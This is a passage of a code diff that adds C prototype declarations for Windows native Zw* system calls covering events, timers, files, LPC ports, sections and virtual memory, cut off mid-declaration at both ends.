ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwPulseEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInformationClass, + OUT PVOID EventInformation, + IN ULONG EventInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwResetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwSetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwSetEventBoostPriority ( + IN HANDLE EventHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLowWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetHighWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN InitialOwner + ); + + + +NTSTATUS +NTAPI +ZwOpenMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryMutant ( + IN HANDLE MutantHandle, + IN MUTANT_INFORMATION_CLASS MutantInformationClass, + OUT PVOID MutantInformation, + IN ULONG MutantInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwReleaseMutant ( + IN HANDLE MutantHandle, + OUT OPTIONAL PLONG PreviousCount + ); + + + +NTSTATUS +NTAPI +ZwCreateSemaphore ( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN LONG InitialCount, + IN LONG MaximumCount + ); + + + +NTSTATUS +NTAPI +ZwOpenSemaphore( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQuerySemaphore ( + IN HANDLE SemaphoreHandle, + IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + OUT PVOID SemaphoreInformation, + IN ULONG SemaphoreInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwReleaseSemaphore( + IN HANDLE SemaphoreHandle, + IN LONG ReleaseCount, + OUT OPTIONAL PLONG PreviousCount + ); + + + +NTSTATUS +NTAPI +ZwCreateTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TIMER_TYPE TimerType + ); + + + +NTSTATUS +NTAPI +ZwOpenTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwCancelTimer ( + IN HANDLE TimerHandle, + OUT OPTIONAL PBOOLEAN CurrentState + ); + + + +NTSTATUS +NTAPI +ZwQueryTimer ( + IN HANDLE TimerHandle, + IN TIMER_INFORMATION_CLASS TimerInformationClass, + OUT PVOID TimerInformation, + IN ULONG TimerInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetTimer ( + IN HANDLE TimerHandle, + IN PLARGE_INTEGER DueTime, + IN OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, + IN OPTIONAL PVOID TimerContext, + IN BOOLEAN ResumeTimer, + IN OPTIONAL LONG Period, + OUT OPTIONAL PBOOLEAN PreviousState + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemTime ( + OUT PLARGE_INTEGER SystemTime + ); + + + +NTSTATUS +NTAPI +ZwSetSystemTime ( + IN OPTIONAL PLARGE_INTEGER SystemTime, + OUT OPTIONAL PLARGE_INTEGER PreviousTime + ); + + + +NTSTATUS +NTAPI +ZwQueryTimerResolution ( + OUT PULONG MaximumTime, + OUT PULONG MinimumTime, + OUT PULONG CurrentTime + ); + + + +NTSTATUS +NTAPI +ZwSetTimerResolution ( + IN ULONG DesiredTime, + IN BOOLEAN SetResolution, + OUT PULONG ActualTime + ); + + + +NTSTATUS +NTAPI +ZwAllocateLocallyUniqueId ( + OUT PLUID Luid + ); + + + +NTSTATUS +NTAPI +ZwSetUuidSeed ( + IN PCHAR Seed + ); + + + +NTSTATUS +NTAPI +ZwAllocateUuids ( + OUT PULARGE_INTEGER Time, + OUT PULONG Range, + OUT PULONG Sequence, + OUT PCHAR Seed + ); + + + +NTSTATUS +NTAPI +ZwCreateProfile ( + OUT PHANDLE ProfileHandle, + IN HANDLE Process OPTIONAL, + IN PVOID ProfileBase, + IN SIZE_T ProfileSize, + IN ULONG BucketSize, + IN PULONG Buffer, + IN ULONG BufferSize, + IN KPROFILE_SOURCE ProfileSource, + IN KAFFINITY Affinity + ); + + + +NTSTATUS +NTAPI +ZwStartProfile ( + IN HANDLE ProfileHandle + ); + + + +NTSTATUS +NTAPI +ZwStopProfile ( + IN HANDLE ProfileHandle + ); + + + +NTSTATUS +NTAPI +ZwSetIntervalProfile ( + IN ULONG Interval, + IN KPROFILE_SOURCE Source + ); + + + +NTSTATUS +NTAPI +ZwQueryIntervalProfile ( + IN KPROFILE_SOURCE ProfileSource, + OUT PULONG Interval + ); + + + +NTSTATUS +NTAPI +ZwQueryPerformanceCounter ( + OUT PLARGE_INTEGER PerformanceCounter, + OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency + ); + + + +NTSTATUS +NTAPI +ZwCreateKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwOpenKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwReleaseKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetSystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + IN OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength + ); + + + +NTSTATUS +NTAPI +ZwSystemDebugControl ( + IN SYSDBG_COMMAND Command, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwRaiseHardError ( + IN NTSTATUS ErrorStatus, + IN ULONG NumberOfParameters, + IN ULONG UnicodeStringParameterMask, + IN OPTIONAL PULONG_PTR Parameters, + IN ULONG ValidResponseOptions, + OUT PULONG Response + ); + + + +NTSTATUS +NTAPI +ZwQueryDefaultLocale ( + IN BOOLEAN UserProfile, + OUT PLCID DefaultLocaleId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultLocale ( + IN BOOLEAN UserProfile, + IN LCID DefaultLocaleId + ); + + + +NTSTATUS +NTAPI +ZwQueryInstallUILanguage ( + OUT LANGID *InstallUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwQueryDefaultUILanguage ( + OUT LANGID *DefaultUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultUILanguage ( + IN LANGID DefaultUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultHardErrorPort( + IN HANDLE DefaultHardErrorPort + ); + + + +NTSTATUS +NTAPI +ZwShutdownSystem ( + IN SHUTDOWN_ACTION Action + ); + + + +NTSTATUS +NTAPI +ZwDisplayString ( + IN PUNICODE_STRING String + ); + + + +NTSTATUS +NTAPI +ZwAddAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwFindAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwDeleteAtom ( + IN RTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationAtom( + IN RTL_ATOM Atom, + IN ATOM_INFORMATION_CLASS AtomInformationClass, + OUT OPTIONAL PVOID AtomInformation, + IN ULONG AtomInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCancelIoFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + + +NTSTATUS +NTAPI +ZwCreateNamedPipeFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN ULONG NamedPipeType, + IN ULONG ReadMode, + IN ULONG CompletionMode, + IN ULONG MaximumInstances, + IN ULONG InboundQuota, + IN ULONG OutboundQuota, + IN OPTIONAL PLARGE_INTEGER DefaultTimeout + ); + + + +NTSTATUS +NTAPI +ZwCreateMailslotFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CreateOptions, + IN ULONG MailslotQuota, + IN ULONG MaximumMessageSize, + IN PLARGE_INTEGER ReadTimeout + ); + + + +NTSTATUS +NTAPI +ZwDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwFlushBuffersFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree + ); + + + +NTSTATUS +NTAPI +ZwQueryAttributesFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_BASIC_INFORMATION FileInformation + ); + + + +NTSTATUS +NTAPI +ZwQueryFullAttributesFile( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + + + +NTSTATUS +NTAPI +ZwQueryEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList, + IN ULONG EaListLength, + IN OPTIONAL PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +ZwCreateFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN OPTIONAL PVOID EaBuffer, + IN ULONG EaLength + ); + + + +NTSTATUS +NTAPI +ZwDeviceIoControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwFsControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG FsControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwLockFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key, + IN BOOLEAN FailImmediately, + IN BOOLEAN ExclusiveLock + ); + + + +NTSTATUS +NTAPI +ZwOpenFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + + +NTSTATUS +NTAPI +ZwQueryDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PUNICODE_STRING FileName, + IN BOOLEAN RestartScan + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + + +NTSTATUS +NTAPI +ZwQueryQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PVOID SidList, + IN ULONG SidListLength, + IN OPTIONAL PSID StartSid, + IN BOOLEAN RestartScan + ); + + + +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + + +NTSTATUS +NTAPI +ZwReadFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwSetInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + + +NTSTATUS +NTAPI +ZwSetQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + + +NTSTATUS +NTAPI +ZwSetVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + + +NTSTATUS +NTAPI +ZwWriteFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwUnlockFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key + ); + + + +NTSTATUS +NTAPI +ZwReadFileScatter ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwSetEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + + +NTSTATUS +NTAPI +ZwWriteFileGather ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwLoadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + + +NTSTATUS +NTAPI +ZwUnloadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + + +NTSTATUS +NTAPI +ZwCreateIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Count OPTIONAL + ); + + + +NTSTATUS +NTAPI +ZwOpenIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryIoCompletion ( + IN HANDLE IoCompletionHandle, + IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + OUT PVOID IoCompletionInformation, + IN ULONG IoCompletionInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetIoCompletion ( + IN HANDLE IoCompletionHandle, + IN PVOID KeyContext, + IN OPTIONAL PVOID ApcContext, + IN NTSTATUS IoStatus, + IN ULONG_PTR IoStatusInformation + ); + + + +NTSTATUS +NTAPI +ZwRemoveIoCompletion ( + IN HANDLE IoCompletionHandle, + OUT PVOID *KeyContext, + OUT PVOID *ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwCallbackReturn ( + IN PVOID OutputBuffer OPTIONAL, + IN ULONG OutputLength, + IN NTSTATUS Status + ); + + + +NTSTATUS +NTAPI +ZwQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + + + +NTSTATUS +NTAPI +ZwSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + + + +NTSTATUS +NTAPI +ZwYieldExecution ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + + +NTSTATUS +NTAPI +ZwCreateWaitablePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + + +NTSTATUS +NTAPI +ZwConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + + +NTSTATUS +NTAPI +ZwSecureConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OPTIONAL PSID RequiredServerSid, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + + +NTSTATUS +NTAPI +ZwListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE ConnectionRequest + ); + + + +NTSTATUS +NTAPI +ZwAcceptConnectPort( + OUT PHANDLE PortHandle, + IN OPTIONAL PVOID PortContext, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT OPTIONAL PPORT_VIEW ServerView, + OUT OPTIONAL PREMOTE_PORT_VIEW ClientView + ); + + + +NTSTATUS +NTAPI +ZwCompleteConnectPort( + IN HANDLE PortHandle + ); + + + +NTSTATUS +NTAPI +ZwRequestPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + + + +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext , + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReceivePortEx( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext, + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwImpersonateClientOfPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message + ); + + + +NTSTATUS +NTAPI +ZwReadRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + + +NTSTATUS +NTAPI +ZwWriteRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + IN PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationPort( + IN HANDLE PortHandle, + IN PORT_INFORMATION_CLASS PortInformationClass, + OUT PVOID PortInformation, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCreateSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PLARGE_INTEGER MaximumSize, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN OPTIONAL HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN SIZE_T CommitSize, + IN OUT OPTIONAL PLARGE_INTEGER SectionOffset, + IN OUT PSIZE_T ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Win32Protect + ); + + + +NTSTATUS +NTAPI +ZwUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + + +NTSTATUS +NTAPI +ZwExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER NewSectionSize + ); + + + +NTSTATUS +NTAPI +ZwAreMappedFilesTheSame ( + IN PVOID File1MappedAsAnImage, + IN PVOID File2MappedAsFile + ); + + + +NTSTATUS +NTAPI +ZwAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + + +NTSTATUS +NTAPI +ZwFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG FreeType + ); + + + +NTSTATUS +NTAPI +ZwReadVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + + +NTSTATUS +NTAPI +ZwWriteVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + + +NTSTATUS +NTAPI +ZwFlushVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + OUT PIO_STATUS_BLOCK IoStatus + ); + + + +NTSTATUS +NTAPI +ZwLockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + + +NTSTATUS +NTAPI +ZwUnlockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + + +NTSTATUS +NTAPI +ZwProtectVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG NewProtect, + OUT PULONG OldProtect + ); + + + +NTSTATUS +NTAPI +ZwQueryVirtualMemory ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN SIZE_T SectionInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwMapUserPhysicalPages ( + IN PVOID VirtualAddress, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwMapUserPhysicalPagesScatter ( + IN PVOID *VirtualAddresses, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwAllocateUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + OUT PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwFreeUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + IN PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwGetWriteWatch ( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T RegionSize, + OUT PVOID *UserAddressArray, + IN OUT PULONG_PTR EntriesInUserAddressArray, + OUT PULONG 